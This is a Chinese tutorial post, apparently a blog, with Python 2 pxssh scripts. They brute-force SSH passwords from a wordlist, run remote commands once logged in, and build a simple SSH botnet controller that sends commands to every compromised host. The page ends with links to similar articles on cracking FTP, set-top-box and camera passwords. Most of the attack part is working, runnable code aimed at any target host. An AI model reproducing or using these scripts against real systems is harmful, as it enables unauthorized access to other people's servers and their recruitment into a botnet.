目录

暴力破解SSH口令

SSH远端执行命令

构建僵尸网络


环境:Kali Linux  python 2.7.13

暴力破解SSH口令

Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 login()、logout() 和 prompt() 等函数直接与SSH进行交互 。对于login()函数,如果执行成功则不会抛出异常,将显示消息表示密码已经找到并把表示密码已找到的全局布尔值设置为true,如果异常显示密码被拒绝则返回即可,如果异常显示socket为 "read_nonblocking" 则可能是SSH服务器被大量的连接刷爆了,可以过会儿再试,如果异常显示pxssh命令提示符提取困难也应该过会儿再试一次。

# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 22:01:51 2018
@author: 小谢
"""
from pexpect import pxssh
import optparse
import time
from threading import * maxConnection=5 #设置最大连接数
connection_lock=BoundedSemaphore(value=maxConnection)
global Found #密码全局布尔值
Found=False
global Fails #失败的次数
Fails=0
def connect(host,user,password,release):
try:
s=pxssh.pxssh() #实例化
s.login(host,user,password) #登录
print '[+] Password Found:'+password #如果不抛出异常,说明密码正确
Found=True
except Exception,e:
if 'read_nonblocking' in str(e): #主机被大量的SSH连接刷爆了
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally:
if release:
connection_lock.release() #解锁线程
def main():
parser=optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-F',dest='passwdFile',type='string',help='password file')
parser.add_option('-u',dest='user',type='string',help='the user')
(options,args)=parser.parse_args()
host=options.Host
passwdFile=options.passwdFile
user=options.user
if host==None or passwdFile==None or user==None:
print(parser.usage)
exit(0)
fn=open(passwdFile,'r') #打开密码文件
lines=fn.readlines()
for line in lines:
if Found:
print("[*] Exiting: Password Found")
exit(0)
if Fails>5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire() #锁定线程
password=line.strip("\n")
print("[-] Testing:"+str(password))
t=Thread(target=connect,args=(host,user,password,True)) #开启密码爆破线程
t.start() #启动线程
if __name__=='__main__':
main()

但是这个脚本有一个bug就是,你第一次爆破主机如果有正确密码则会爆出出来,第二次爆破的话就算是有正确密码也不会爆破出来。(自己主机没有这种bug,爆破其他主机会出现这种bug)

SSH远端执行命令

当我们破解了SSH的口令之后,我们就可以运行命令了。

# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 23:37:11 2018
@author: 小谢
"""
from pexpect import pxssh
def send_command(s,cmd):
s.sendline(cmd) #发送命令给主机
s.prompt() #匹配cmd执行后的下一步操作的命令提示符
print s.before #输出命令提示符之前的内容
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password) #登录
return s #返回登录的session
except:
print '[-] Error Connecting' #登录失败
exit(0)
s=connect('127.0.0.1','root','toor')
send_command(s,'uname -r')

这个脚本也是有这种bug,第一次可以正确执行命令,第二次就算用户名密码正确,也显示Error Connecting。 (自己主机没有这种bug,爆破其他主机会出现这种bug)

构建僵尸网络

既然可以控制一台,那么就可以控制多台,从而可以构建僵尸网络了!

我们创建了一个Client()类,为了构造client对象,需要主机名,用户名以及密码。同时,这个类还要包含维持与肉鸡连接所需的方法:connect() 、send_command() 。Botnet全局数组记录了单个client对象,addClient()方法的输入是主机名,用户和密码并以此实例化一个client对象并将它添加到botnet数组中。botnetCommand()函数只要一个参数即要发布的命令,这函数遍历整个数组,把命令发送到botnet数组中的每个client上。

# -*- coding: utf-8 -*-
"""
Created on Fri Nov 2 22:41:45 2018
@author: 小谢
"""
from pexpect import pxssh
class Client:
def __init__(self,host,user,password): #初始化对象
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self): #ssh连接
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd): #发送命令
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output=client.send_command(command)
print '[*] Output from '+ client.host
print '[+] '+output
def addClient(host,user,password):
client=Client(host,user,password) #实例化对象
botNet.append(client)
botNet=[]
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
botnetCommand("uname -a")

相关文章:Python中的Pexpect模块的简单使用

Pexpect模块的使用

Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)的更多相关文章

  1. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  2. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  3. centos 7 DenyHosts 安装 防暴力破解ssh登陆

    为了减少软件扫描ssh登陆 还是用这个比较好点  默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...

  4. 10小时之内,暴力破解SSH账号的IP

    10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于  ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...

  5. 使用Medusa美杜莎暴力破解SSH密码

    使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...

  6. Linux 利用hosts.deny 防止暴力破解ssh

    一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...

  7. Linux 利用hosts.deny 防止暴力破解ssh(转)

    一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...

  8. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  9. Python脚本自动化破解大白鲨摄像头(Shodan)

    关于本文的技术知识点,Shodan模块的用法,传送门-->  Python中shadon模块的使用    Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...

随机推荐

  1. C语言中储存类别和内存管理

    C语言中储存类别和内存管理 储存类别 C语言提供了多种储存类别供我们使用,并且对应的有对应的内存管理策略,在了解C中的储存类型前,我们先了解一下与储存类型相关的一些概念. 1. 基础概念 对象:不同于 ...

  2. VMware 虚拟机安装(使用CentOS镜像)

    (1)启动虚拟机,点击"文件"-->"新建虚拟机",选择安装类型,推荐"典型".       (2)选择稍后安装操作系统       ...

  3. webpack核心模块tapable用法解析

    前不久写了一篇webpack基本原理和AST用法的文章,本来想接着写webpack plugin的原理的,但是发现webpack plugin高度依赖tapable这个库,不清楚tapable而直接去 ...

  4. 攻防世界 reverse 666

    666  2019_UNCTF main int __cdecl main(int argc, const char **argv, const char **envp) { char myen; / ...

  5. 用程序员的思维了解Filecoin

    程序员接触一个新技术惯用步骤: 先搜索引擎搜索一波,找个最简单的解释.如果有了个大概的概念,就前往2.否则循环1->1->1...直到有个大概的概念为止. 上官网跑一遍. 各种论坛社区溜达 ...

  6. C# yield return 原理探究

    天需要些一个小工具,需要使用到多线程读写程序集,接口方法返回值类型需要为"IEnumerable<string>"这里用到了"yield return&quo ...

  7. pycharm在debug时总是报UnicodeDecodeError

    1,原文链接 解决pycharm run 正常 debug 报 UnicodeDecodeError 错误的问题 2,解决方法 首先尝试 如果上面还不行

  8. LinkedList源码个人解读

    LinkedList的基本结构是双向链接的直线结构. 链表的构造函数有两个,其中空构造函数什么都没做,就是一个空实现. /** * Constructs an empty list. */ publi ...

  9. [递推]D. 【例题4】传球游戏

    D . [ 例 题 4 ] 传 球 游 戏 D. [例题4]传球游戏 D.[例题4]传球游戏 题目解析 设 t ( i , j ) t(i,j) t(i,j)为过了 j j j轮,轮到 i i i手上 ...

  10. C#异步编程由浅入深(二)Async/Await的作用.

      考虑到直接讲实现一个类Task库思维有点跳跃,所以本节主要讲解Async/Await的本质作用(解决了什么问题),以及Async/Await的工作原理.实现一个类Task的库则放在后面讲.首先回顾 ...